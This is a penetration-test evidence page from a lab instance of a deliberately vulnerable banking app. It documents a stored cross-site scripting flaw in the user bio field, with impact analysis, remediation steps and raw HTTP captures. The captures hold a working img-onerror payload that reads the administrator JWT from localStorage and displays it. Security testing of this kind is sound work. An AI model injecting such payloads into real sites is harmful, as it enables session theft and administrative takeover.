Test case 18 / 26FAIL

Stored Cross-Site Scripting - User Profile - Bio Field

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

vuln-bank/Evidence/[FAIL] Stored Cross-Site Scripting - User Profile - Bio Field

01 — Notes

Test notes

Vulnerability

[FAIL] Stored Cross-Site Scripting - User Profile - Bio Field

Description

The /update_bio endpoint stores bio content without any sanitization. The administrative panel then injects that value into the DOM through innerHTML in a template literal without escaping (templates/admin.html), while other fields in the same modal such as id and account_number do go through escapeHtml. As a result, markup submitted by an ordinary user executes as HTML inside the administrator's session.

Impact

Confidentiality + Integrity (Critical): the lowest-privileged user can plant a script that runs in the administrator's browser with no interaction beyond opening the user detail view, which is a routine admin task. Because session tokens are stored in localStorage and readable by JavaScript, the payload successfully captured the administrator JWT in full. That token gives the attacker full control of the administrative panel, including deleting accounts, creating new administrators, and approving loans.

CWE

CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)

OWASP

A03:2021 - Injection

Scenario

Normal: the bio is filled with plain text and appears as text in the admin panel's user detail modal. Exploitation: the attacker fills the bio with an img tag carrying an onerror handler. The payload is stored raw and returned as-is by /api/v3/user/2. Impact: the administrator opens that user detail modal, the payload executes inside the administrator session and reads the administrator JWT from localStorage.

Endpoint

POST http://127.0.0.1:5001/update_bio GET http://127.0.0.1:5001/api/v3/user/<user_id> Sink: http://127.0.0.1:5001/sup3r_s3cr3t_admin (user detail modal)

Affected feature

User profile bio and the user detail modal in the administrative panel

Remediation

- Render user-supplied values as text (textContent), not innerHTML; apply escapeHtml to the bio field as is already done for other fields in the same modal. - Sanitize the bio server-side with an allow-list library both when stored and when returned by the API. - Apply a Content-Security-Policy that forbids inline scripts and event handlers. - Store session tokens in HttpOnly and SameSite cookies rather than localStorage so JavaScript cannot reach them.

Proof of concept

1) (Screenshot 1) NORMAL: the bio is filled with plain text via /update_bio -> stored. 2) (Screenshot 2) EXPLOITATION: the bio is filled with an img tag carrying an onerror handler -> accepted without sanitization. 3) (Screenshot 3) SINK: /api/v3/user/2 returns the raw payload as-is, which is the data consumed by the admin panel. 4) (Screenshot 4) NORMAL UI: the administrator opens the user detail modal while the bio contains plain text -> displayed as text. 5) (Screenshot 5) CIA IMPACT: the administrator opens the same user detail modal after the payload is planted -> the script executes inside the administrator session and displays the administrator JWT captured in full.
View source note (English)
Vulnerability:
[FAIL] Stored Cross-Site Scripting - User Profile - Bio Field

Description:
The /update_bio endpoint stores bio content without any sanitization. The administrative panel then injects that value into the DOM through innerHTML in a template literal without escaping (templates/admin.html), while other fields in the same modal such as id and account_number do go through escapeHtml. As a result, markup submitted by an ordinary user executes as HTML inside the administrator's session.

Impact:
Confidentiality + Integrity (Critical): the lowest-privileged user can plant a script that runs in the administrator's browser with no interaction beyond opening the user detail view, which is a routine admin task. Because session tokens are stored in localStorage and readable by JavaScript, the payload successfully captured the administrator JWT in full. That token gives the attacker full control of the administrative panel, including deleting accounts, creating new administrators, and approving loans.

CWE:
CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)

OWASP:
A03:2021 - Injection

Scenario:
Normal: the bio is filled with plain text and appears as text in the admin panel's user detail modal. Exploitation: the attacker fills the bio with an img tag carrying an onerror handler. The payload is stored raw and returned as-is by /api/v3/user/2. Impact: the administrator opens that user detail modal, the payload executes inside the administrator session and reads the administrator JWT from localStorage.

Endpoint:
POST http://127.0.0.1:5001/update_bio
GET  http://127.0.0.1:5001/api/v3/user/<user_id>
Sink: http://127.0.0.1:5001/sup3r_s3cr3t_admin (user detail modal)

Affected Feature:
User profile bio and the user detail modal in the administrative panel

Remediation:
- Render user-supplied values as text (textContent), not innerHTML; apply escapeHtml to the bio field as is already done for other fields in the same modal.
- Sanitize the bio server-side with an allow-list library both when stored and when returned by the API.
- Apply a Content-Security-Policy that forbids inline scripts and event handlers.
- Store session tokens in HttpOnly and SameSite cookies rather than localStorage so JavaScript cannot reach them.

POC:
1) (Screenshot 1) NORMAL: the bio is filled with plain text via /update_bio -> stored.
2) (Screenshot 2) EXPLOITATION: the bio is filled with an img tag carrying an onerror handler -> accepted without sanitization.
3) (Screenshot 3) SINK: /api/v3/user/2 returns the raw payload as-is, which is the data consumed by the admin panel.
4) (Screenshot 4) NORMAL UI: the administrator opens the user detail modal while the bio contains plain text -> displayed as text.
5) (Screenshot 5) CIA IMPACT: the administrator opens the same user detail modal after the payload is planted -> the script executes inside the administrator session and displays the administrator JWT captured in full.

02 — Screenshots

Screenshots (5)

01 / 1
02 / 2
03 / 3
04 / 4
05 / 5

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1
HTTP request
POST /update_bio HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 48
Content-Type: application/json

{"bio": "Personal banking customer since 2024."}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:53 GMT

{
  "bio": "Personal banking customer since 2024.",
  "message": "Bio updated successfully",
  "status": "success"
}
CAPTURE 02 / 2
HTTP request
POST /update_bio HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 413
Content-Type: application/json

{"bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 484
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:55 GMT

{
  "bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">",
  "message": "Bio updated successfully",
  "status": "success"
}
CAPTURE 03 / 3
HTTP request
GET /api/v3/user/2 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 597
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:56 GMT

{
  "status": "success",
  "user": {
    "account_number": "0932191785",
    "balance": -8100.0,
    "bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">",
    "id": 2,
    "is_admin": false,
    "username": "pentest_attacker"
  }
}